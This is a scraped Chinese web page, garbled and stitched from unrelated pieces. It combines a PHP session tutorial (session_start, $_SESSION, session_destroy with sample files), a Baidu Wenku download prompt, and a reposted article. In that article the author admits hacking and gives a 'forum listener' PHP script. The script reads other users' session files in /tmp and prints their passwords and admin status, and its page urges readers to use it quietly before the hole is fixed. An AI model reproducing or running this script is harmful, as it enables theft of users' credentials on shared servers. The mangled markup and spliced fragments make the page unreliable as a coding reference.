请问PHP中php session start函数是什么意思呢?

科技改变生活,代码改变世界!
by 一只努力学习ing的菜鸟
PHP Session 变量
当运行一个应用程序时,你会打开它,做些更改,然后关闭它。这很像一次会话。计算机清楚你是谁。它知道你何时启动应用程序,并在何时终止。但是在因特网上,存在一个问题:服务器不知道你是谁以及你做什么,这是由于 HTTP 地址不能维持状态。
通过在服务器上存储用户信息以便随后使用,PHP session 解决了这个问题(比如用户名称、购买商品等)。不过,会话信息是临时的,在用户离开网站后将被删除。如果需要永久储存信息,可以把数据存储在数据库中。
Session 的工作机制是:为每个访问者创建一个唯一的 id (UID),并基于这个 UID 来存储变量。UID 存储在 cookie 中,亦或通过 URL 进行传导。
1. 开始会话
在把信息储存到session之前,首先要开启会话。php提供了session_start()函数来开始或者继续一个会话。定义:
&1 bool session_start( void )&
调用如下:
1 &?php session_start();?&
3 &body&&/body&
(1)session_start()函数必须位于&html&标签之前,也就是该函数必须在任何输出前调用,常常在写程序时不注意就多输入了一个空格或者回车,这时就会报错。应特别注意这一点。(我可是被坑过)
(2)无论有没有成功创建会话,session_start()函数都会返回TRUE,因此使用任何异常处理都不起作用。
(3)还可以启用配置指令session.auto_start,从而不必执行这个函数,但是这样的话,每个php页面执行时都会开始或者继续一个会话。
2.存储或者读取会话
存储和读取session变量的正确方法是使用php的$_SESSION变量。$_SESSION是php提供的全局参数,专门用来存储和读取session。(注意关联数组的键名和普通变量的命名规则一致)
存储会话时,可以对其直接赋值。
&1 $_SESSION[&season&] = '秋天';&
以上设置了一个键名为&season&的会话元素,其值为&秋天&。当读取时,就像调用普通数组元素一样。
下面的两段代码显示怎么存储并读取一个会话元素。
这是session1.php文件:
* Created by PhpStorm.
* User: yuxiu
* Time: 14:11
8 if(isset($_POST['submit'])){
session_start();
//开始建立一个会话
$_SESSION['season'] = $_POST['season'];
//存储会话数据
header("Location: session2.php");
//应特别注意header()里的格式问题
16 &b&存储会话&/b&
18 选择需要设置的数据:
19 &form name="form1" method="post" action="" id="form1" &
&select name="season" id="season_select" &
&option value="春天"&春天&/option&
&option value="夏天"&夏天&/option&
&option value="秋天"&秋天&/option&
&option value="冬天"&冬天&/option&
&input type="submit" name="submit" value="submit"/&
30 &/form&
&这是session2.php文件:
* Created by PhpStorm.
* User: yuxiu
* Time: 14:13
8 session_start();
//建立或者继续一个会话
9 $season = $_SESSION['season'];
//读取会话数据
11 echo "&b&读取会话&/b&&br/&&br/&";
12 switch ($season) {
case '春天';
echo '现在是绿意盎然的春天!';
case '夏天';
echo '现在是热情四溢的夏天!';
case '秋天';
echo '现在是丰收果实的秋天!';
case '冬天';
echo '现在是白雪皑皑的冬天!';
echo '对不起,会话中没有数据
不存在该对话 !';
在session1.php中首先使用session_start()创建一个会话,然后对提交的季节数据使用数组赋值的方式存储,最后使用header()函数直接跳转到开始。在session2.php文件中,也同样需要session_start()函数继续一个会话并利用session数组调用会话信息。
3.销毁会话
当会话不再被使用的时候,就需要人为的销毁它,虽然php有自动销毁会话的功能,但这样会使程序的效率变低。可以使用unset()函数或者session_destroy()函数。
unset($_SESSION['season']);
session_destroy();
//注意,使用这个函数将重置session数组,即失去所有的已经储存的session数据
阅读(...) 评论()编程开发子分类php使用session的详细介绍_百度文库
两大类热门资源免费畅读
续费一年阅读会员,立省24元!
php使用session的详细介绍
上传于|0|0|文档简介
&&php使用session的详细介绍
阅读已结束,如果下载本文需要使用1下载券
想免费下载本文?
定制HR最喜欢的简历
下载文档到电脑,查找使用更方便
还剩4页未读,继续阅读
定制HR最喜欢的简历
你可能喜欢php查看session内容的函数
字体:[ ] 类型:转载 时间:
之所以是能写出来这个函数,主要是对该网站的session结构清楚
如:name|s:4:"tasm";passwd|s:6:"111111";mode|s:1:"1",也知道该session存放的位置,而且可以上传文件,所以嘛,当时就做了一次小小的黑客,在线的朋友的密码可以一览无余,呵呵: &? function submit1(){ global $ print "&title&论坛监听器&/title&"; $i=0; if($username=="tasm"||$username=="Tasm") { print "你也太黑了吧?连我你也查?";
} $path="/tmp/"; $d = dir($path); while($entry=$d-&read()){ if(substr($entry,0,4)=="sess"){ $entry=$path.$ $ary=@file($entry); if(!empty($ary[0])){ $ary = explode(";",$ary[0]); $name= explode(":",$ary[0]); if($name[2]=="\"".$username."\""){ $passwd= explode(":",$ary[1]); $mode=explode(":",$ary[3]); print "用户笔名:".$name[2]."&br&使用密码:".$passwd[2]."&br&使用模式:"; if($mode[1]==1) print "&font color=red&管理员&/font&"; else print "一般用户"; print"&br&&br&偷窃他人密码是不道德行为请少少为之&br&"; $i=1;
}}}} if(!$i) print "用户:".$username."真的在线吗?如你确定,&a href='javascript:history.go(-1)'&请再来一次&/a&,不要多打空格!"; $d-&close(); } function login(){ ?& &html& &head& &title&论坛监听器&/title& &meta http-equiv="Content-Type" content="text/ charset=gb2312"& &/head& &body bgcolor="#FFFFFF"& &div align="center"& &p&论坛监听器 &/p& &p& &/p& &table width="500" border="0" cellspacing="0" cellpadding="0"& &tr& &td colspan="2"&当你看到一用户在线时你想看他的密码,你要如何作呢?&/td& &/tr& &tr& &td colspan="2"&让我来告诉你:就是使用本程序。&/td& &/tr& &tr& &td colspan="2"&&font color=red&郑重申明:本程序为自由程序,由它所造成的任何损失本人盖不负责。&/font& &br&不过这个问题也许很快就会被堵上,个位还是不要张扬的偷着用吧。&/td& &/tr& &/table& &form name="form1" method="post" action="&?print $PHP_SELF ?&" & &p&请输入你要查的用户名:&br& &input type="text" name="username"& &/p& &p& &input type="submit" name="submit1" value="我同意以上申明,开始查找"& &/p& &/form& &p& &/p& &/div& &/body& &/html& &? } //--------------main() if($submit1) submit1(); else login(); ?&
您可能感兴趣的文章:
大家感兴趣的内容
12345678910
最近更新的内容
常用在线小工具

我要回帖

更多关于 php session函数 的文章

 

随机推荐